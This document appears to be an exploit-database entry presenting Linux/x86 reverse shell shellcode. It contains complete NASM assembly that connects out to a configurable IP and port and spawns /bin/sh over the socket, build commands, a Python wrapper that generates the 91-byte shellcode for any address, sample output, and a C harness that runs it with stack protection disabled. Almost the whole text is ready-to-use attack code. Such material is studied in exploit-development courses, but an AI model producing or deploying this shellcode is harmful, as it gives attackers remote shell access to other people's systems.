# Exploit Title: Linux/x86 - Reverse Shell Shellcode (91 Bytes) + Python Wrapper # Google Dork: NA # Date: 2019-05-01 # Exploit Author: Dave Sully # Vendor Homepage: # Software Link: NA # Version: NA # Tested on: Ubuntu 16.04 # CVE : NA ####################################################################### ####################################################################### # This is the raw assembly ####################################################################### ####################################################################### ; Filename: reverse_shell.nasm ; Author: Dave Sully ; Website: http://suls.co.uk ; Purpose: Reverse shell in x86 assembly global _start section .text _start: ; Clear everthing we are using xor eax, eax xor ebx, ebx xor ecx, ecx xor edx, edx xor esi, esi xor edi, edi ; Define structure for socket ; push 0x0100007f ; Push IP to stack in reverse byte order ; need to revist the null bytes here (127.0.0.1) ; We have a issue here in that the ip address 127.0.0.1 = 0x0100007f in hex which contains null bytes ; Easiest way around this is to XOR the value with 0xffffffff mov edi, 0xfeffff80 ; xor of 0x0100007f and 0xffffffff xor edi, 0xffffffff push edi push word 0xb315 ; Push 5555 to the stack in reverse byte order 5555 in hex = 0x15b3 push word 0x2 ; push 2 to the stack (AF-INET) ; Create socket ; s = socket(AF_INET, SOCK_STREAM, 0) mov ax, 0x167 ; Syscall 359 (socket) mov bl, 0x2 ; AF-INET (2) mov cl, 0x1 ; Sock stream (1) ; dl should already be zero int 0x80 ; call system interupt to create socket xchg esi, eax ; socket file descriptor now stored in esi ; Connect socket ; connect(s, (struct sockaddr *)&addr, sizeof(addr)); mov ax, 0x16a ; Syscall 362 connect mov ebx, esi ; Move socket file descriptor into ebx mov ecx, esp ; Point ecx to the top of the stack which has our address structure on it mov dl, 0x10 ; Size of structure (16) int 0x80 ; call system interupt to create connect ; Dup input output and error file descriptors ; dup2(s, 0); // Dup2 sycall = 63 xor eax, eax ; Clear eax mov ebx, esi ; move socket id to ebx xor ecx, ecx ; Clear ecx mov cl, 0x2 ; set ecx to 2 loop: mov al, 0x3f ; syscall 63 int 0x80 ; call dup 2 dec ecx ; decrease ecx by 1 jns loop ; jump if not signed back to loop, this should cycle 2,1,0 ; Execute Shell ; execve("/bin/sh",0 ,0); // Execve syscall = 11 ; (const char *filename, char *const argv[], char *const envp[]); xor eax,eax ; null eax mov al, 0xb ; syscall 11 into eax xor ebx, ebx ; zero ebx push ebx ; push a null string to the stack to terminate our string push 0x68732f2f ; hs// push 0x6e69622f ; nib/ mov ebx, esp ; point ebx at the stack xor ecx, ecx ; clear ecx and edx as they are used in the syscall xor edx, edx int 0x80 section .data ####################################################################### ####################################################################### ### Compile and link as follows nasm -f elf32 -o reverse_shell.o reverse_shell.nasm gcc -o reverse_shell reverse_shell.o ####################################################################### ####################################################################### ### To configure IP and port use the following python3 wrapper script ####################################################################### ####################################################################### #!/usr/bin/env python3 # File: wrapper.py # Author: Dave Sully # Reverse shell wrapper in python3 # Usage: python3 wrapper.py 192.168.1.1 5000 import argparse import socket from struct import unpack print("\n*****************************************") print("***** Reverse shell wrapper script ******") print("*****************************************") # Grab command line args (ip and port) parser = argparse.ArgumentParser() parser.add_argument("ip") parser.add_argument("port") args = parser.parse_args() # check port is in a valid range if ((int(args.port) > 65535) or (int(args.port) < 256)): print("\nPort number must be between 256 and 65535\n") exit() # Xor Function def xor_strings(str1,str2): result = int(str1,16) ^ int(str2,16) return '{:x}'.format(result) # Process IP address print("\nIP address: "+ args.ip) # Convert IP to Hex hexip = socket.inet_aton(args.ip).hex() print("Hex IP Address: "+hexip) # Reverse the hex String revhexip = hexip[6:8] revhexip = revhexip + hexip[4:6] revhexip = revhexip + hexip[2:4] revhexip = revhexip + hexip[0:2] # Xor the reversed hex address as the shellcode XORs this address to avoid null bytes xored_ip = xor_strings(revhexip,"FFFFFFFF") print("XORed reverse hex IP Address: "+ xored_ip) # Process Port print("\nPort: "+args.port) # Convert Port to hex hexport = hex(int(args.port)).replace('0x','') if len(hexport)<4: hexport = '0'+hexport print("Hex Port: "+hexport) revhexport = hexport[2:4]+ hexport[0:2] print("Reverse Hex Port: "+revhexport) # Check for null bytes if (xored_ip[0:2]=="00" or xored_ip[2:4]=="00" or xored_ip[4:6]=="00" or xored_ip[6:8]=="00" or revhexport[0:2]=="00" or revhexport[2:4]=="00"): print("\n** WARNING ** Null Bytes detected in Xored IP or port shellcode,") print("shellcode may not work !\n") # Construct Shellcode shellcode= \ "\\x31\\xc0\\x31\\xdb\\x31\\xc9\\x31\\xd2\\x31\\xf6\\x31\\xff\\xbf" + \ "\\x"+ xored_ip[6:8] + \ "\\x"+ xored_ip[4:6] + \ "\\x"+ xored_ip[2:4] + \ "\\x"+ xored_ip[0:2] + \ "\\x83\\xf7\\xff\\x57\\x66\\x68" + \ "\\x"+ revhexport[2:4] + \ "\\x"+ revhexport[0:2] + \ "\\x66\\x6a\\x02\\x66\\xb8\\x67\\x01\\xb3\\x02\\xb1\\x01\\xcd\\x80\\x96\\x66" + \ "\\xb8\\x6a\\x01\\x89\\xf3\\x89\\xe1\\xb2\\x10\\xcd\\x80\\x31\\xc0\\x89\\xf3" + \ "\\x31\\xc9\\xb1\\x02\\xb0\\x3f\\xcd\\x80\\x49\\x79\\xf9\\x31\\xc0\\xb0\\x0b" + \ "\\x31\\xdb\\x53\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3" + \ "\\x31\\xc9\\x31\\xd2\\xcd\\x80" # Output Shellcode print("\nShellcode (Length 91 Bytes): \n") print(shellcode+"\n") ####################################################################### ####################################################################### # Example output ***************************************** ***** Reverse shell wrapper script ****** ***************************************** IP address: 127.0.0.1 Hex IP Address: 7f000001 XORed reverse hex IP Address: feffff80 Port: 8080 Hex Port: 1f90 Reverse Hex Port: 901f Shellcode (Length 91 Bytes): \x31\xc0\x31\xdb\x31\xc9\x31\xd2\x31\xf6\x31\xff\xbf\x80\xff\xff\xfe\x83\xf7\xff\x57\x66\x68\x1f\x90\x66\x6a\x02\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x96\x66\xb8\x6a\x01\x89\xf3\x89\xe1\xb2\x10\xcd\x80\x31\xc0\x89\xf3\x31\xc9\xb1\x02\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\xb0\x0b\x31\xdb\x53\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xcd\x80 ####################################################################### ####################################################################### # To compile shellcode from the wrapper script use the following C program # Replacing the shellcode with the wrapper script shellcode output ####################################################################### ####################################################################### // Filename: shellcode.c #include #include unsigned char code[] = \ "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x31\xf6\x31\xff\xbf\x80\xff\xff\xfe\x83\xf7\xff\x57\x66\x68\x1f\x90\x66\x6a\x02\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x96\x66\xb8\x6a\x01\x89\xf3\x89\xe1\xb2\x10\xcd\x80\x31\xc0\x89\xf3\x31\xc9\xb1\x02\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\xb0\x0b\x31\xdb\x53\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xcd\x80"; main() { printf("Shellcode Length: %d\n", strlen(code)); int (*ret)() = (int(*)())code; ret(); } ####################################################################### ####################################################################### # Compile with gcc -fno-stack-protector -z execstack -o shellcode shellcode.c